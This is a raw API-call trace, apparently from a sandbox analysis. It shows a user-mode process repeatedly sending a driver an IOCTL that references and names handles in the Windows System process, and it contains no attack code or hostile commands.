Handle=0xffffffff800001e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f22d30, HandleInformation=0x0) returned 0x0 [0129.989] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.989] PsReleaseProcessExitSynchronization () returned 0x2 [0129.989] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.990] ObQueryNameString (in: Object=0xfffffa8002f22d30, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.990] ObfDereferenceObject (Object=0xfffffa8002f22d30) returned 0x2 [0129.990] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.990] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.990] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.990] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0xb8, lpOverlapped=0x0) returned 1 [0129.990] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.990] PsAcquireProcessExitSynchronization () returned 0x0 [0129.990] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.990] ObReferenceObjectByHandle (in: Handle=0xffffffff800001f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f1d050, HandleInformation=0x0) returned 0x0 [0129.990] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.990] PsReleaseProcessExitSynchronization () returned 0x2 [0129.990] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.990] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005000508) returned 0x0 [0129.990] ObfDereferenceObject (Object=0xfffffa8002f1d050) returned 0x21 [0129.990] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.990] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.990] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.990] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0xbc, lpOverlapped=0x0) returned 1 [0129.990] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.990] PsAcquireProcessExitSynchronization () returned 0x0 [0129.990] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.990] ObReferenceObjectByHandle (in: Handle=0xffffffff800001f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800282f560, HandleInformation=0x0) returned 0x0 [0129.990] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.990] PsReleaseProcessExitSynchronization () returned 0x2 [0129.990] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.990] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005000508) returned 0x0 [0129.990] ObfDereferenceObject (Object=0xfffffa800282f560) returned 0x1 [0129.990] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.990] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.990] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.990] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0129.990] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.990] PsAcquireProcessExitSynchronization () returned 0x0 [0129.991] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.991] ObReferenceObjectByHandle (in: Handle=0xffffffff800001fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002fef2b0, HandleInformation=0x0) returned 0x0 [0129.991] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.991] PsReleaseProcessExitSynchronization () returned 0x2 [0129.991] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.991] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005000508) returned 0x0 [0129.991] ObfDereferenceObject (Object=0xfffffa8002fef2b0) returned 0x1 [0129.991] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.991] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.991] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.991] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0129.991] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.991] PsAcquireProcessExitSynchronization () returned 0x0 [0129.991] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.991] ObReferenceObjectByHandle (in: Handle=0xffffffff80000200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002ee1d40, HandleInformation=0x0) returned 0x0 [0129.991] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.991] PsReleaseProcessExitSynchronization () returned 0x2 [0129.991] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.991] ObQueryNameString (in: Object=0xfffffa8002ee1d40, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.991] ObfDereferenceObject (Object=0xfffffa8002ee1d40) returned 0x1 [0129.991] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.991] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.991] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.991] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0129.991] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.991] PsAcquireProcessExitSynchronization () returned 0x0 [0129.991] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.991] ObReferenceObjectByHandle (in: Handle=0xffffffff80000204, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002ee4f20, HandleInformation=0x0) returned 0x0 [0129.991] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.991] PsReleaseProcessExitSynchronization () returned 0x2 [0129.991] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.991] ObQueryNameString (in: Object=0xfffffa8002ee4f20, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.991] ObfDereferenceObject (Object=0xfffffa8002ee4f20) returned 0x1 [0129.991] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.992] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.992] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.992] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0129.992] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.992] PsAcquireProcessExitSynchronization () returned 0x0 [0129.992] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.992] ObReferenceObjectByHandle (in: Handle=0xffffffff80000210, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002ff1610, HandleInformation=0x0) returned 0x0 [0129.992] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.992] PsReleaseProcessExitSynchronization () returned 0x2 [0129.992] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.992] ObQueryNameString (in: Object=0xfffffa8002ff1610, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.992] ObfDereferenceObject (Object=0xfffffa8002ff1610) returned 0x1 [0129.992] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.992] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.992] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.992] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0129.992] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.992] PsAcquireProcessExitSynchronization () returned 0x0 [0129.992] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.992] ObReferenceObjectByHandle (in: Handle=0xffffffff80000214, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002eee850, HandleInformation=0x0) returned 0x0 [0129.992] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.992] PsReleaseProcessExitSynchronization () returned 0x2 [0129.992] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.992] ObQueryNameString (in: Object=0xfffffa8002eee850, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.992] ObfDereferenceObject (Object=0xfffffa8002eee850) returned 0x1 [0129.992] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.992] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.992] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.992] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0129.992] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.992] PsAcquireProcessExitSynchronization () returned 0x0 [0129.992] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.992] ObReferenceObjectByHandle (in: Handle=0xffffffff80000218, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002ff3570, HandleInformation=0x0) returned 0x0 [0129.992] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.993] PsReleaseProcessExitSynchronization () returned 0x2 [0129.993] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.993] ObQueryNameString (in: Object=0xfffffa8002ff3570, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.993] ObfDereferenceObject (Object=0xfffffa8002ff3570) returned 0x11 [0129.993] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.993] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.993] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.993] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0129.993] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.993] PsAcquireProcessExitSynchronization () returned 0x0 [0129.993] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.993] ObReferenceObjectByHandle (in: Handle=0xffffffff80000264, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8009f01960, HandleInformation=0x0) returned 0x0 [0129.993] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.993] PsReleaseProcessExitSynchronization () returned 0x2 [0129.993] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.993] ObQueryNameString (in: Object=0xfffffa8009f01960, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.993] ObfDereferenceObject (Object=0xfffffa8009f01960) returned 0x1 [0129.993] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.993] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.993] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.993] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0129.993] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.993] PsAcquireProcessExitSynchronization () returned 0x0 [0129.993] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.993] ObReferenceObjectByHandle (in: Handle=0xffffffff80000274, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800308a050, HandleInformation=0x0) returned 0x0 [0129.993] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.993] PsReleaseProcessExitSynchronization () returned 0x2 [0129.993] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.993] ObQueryNameString (in: Object=0xfffffa800308a050, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.994] ObfDereferenceObject (Object=0xfffffa800308a050) returned 0x1 [0129.994] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.994] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.994] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.994] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0129.994] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.994] PsAcquireProcessExitSynchronization () returned 0x0 [0129.994] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.994] ObReferenceObjectByHandle (in: Handle=0xffffffff8000027c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8009f01640, HandleInformation=0x0) returned 0x0 [0129.994] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.994] PsReleaseProcessExitSynchronization () returned 0x2 [0129.994] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.994] ObQueryNameString (in: Object=0xfffffa8009f01640, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.994] ObfDereferenceObject (Object=0xfffffa8009f01640) returned 0x1 [0129.994] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.994] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.994] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.994] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0129.994] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.994] PsAcquireProcessExitSynchronization () returned 0x0 [0129.994] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.994] ObReferenceObjectByHandle (in: Handle=0xffffffff80000280, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8009f01320, HandleInformation=0x0) returned 0x0 [0129.994] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.994] PsReleaseProcessExitSynchronization () returned 0x2 [0129.994] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.994] ObQueryNameString (in: Object=0xfffffa8009f01320, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0129.994] ObfDereferenceObject (Object=0xfffffa8009f01320) returned 0x1 [0129.994] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.995] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0129.995] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0129.995] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0129.995] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.995] PsAcquireProcessExitSynchronization () returned 0x0 [0129.995] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0129.995] ObReferenceObjectByHandle (in: Handle=0xffffffff80000284, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030a9e50, HandleInformation=0x0) returned 0x0 [0129.995] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.995] PsReleaseProcessExitSynchronization () returned 0x2 [0129.995] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19b [0129.995] ObQueryNameString (in: Object=0xfffffa80030a9e50, ObjectNameInfo=0xfffffa8003989044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003989044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.995] ObfDereferenceObject (Object=0xfffffa80030a9e50) returned 0x1 [0129.995] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.014] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.014] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.014] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x70, lpOverlapped=0x0) returned 1 [0130.014] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.014] PsAcquireProcessExitSynchronization () returned 0x0 [0130.014] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.014] ObReferenceObjectByHandle (in: Handle=0xffffffff80000294, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800308c170, HandleInformation=0x0) returned 0x0 [0130.014] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.014] PsReleaseProcessExitSynchronization () returned 0x2 [0130.014] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.014] ObQueryNameString (in: Object=0xfffffa800308c170, ObjectNameInfo=0xfffffa8003950044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003950044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.014] ObfDereferenceObject (Object=0xfffffa800308c170) returned 0x1 [0130.014] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.014] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.014] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.014] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0130.014] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.014] PsAcquireProcessExitSynchronization () returned 0x0 [0130.014] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.015] ObReferenceObjectByHandle (in: Handle=0xffffffff80000298, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030a9050, HandleInformation=0x0) returned 0x0 [0130.015] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.015] PsReleaseProcessExitSynchronization () returned 0x2 [0130.015] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.015] ObQueryNameString (in: Object=0xfffffa80030a9050, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.015] ObfDereferenceObject (Object=0xfffffa80030a9050) returned 0x1 [0130.015] IofCompleteRequest 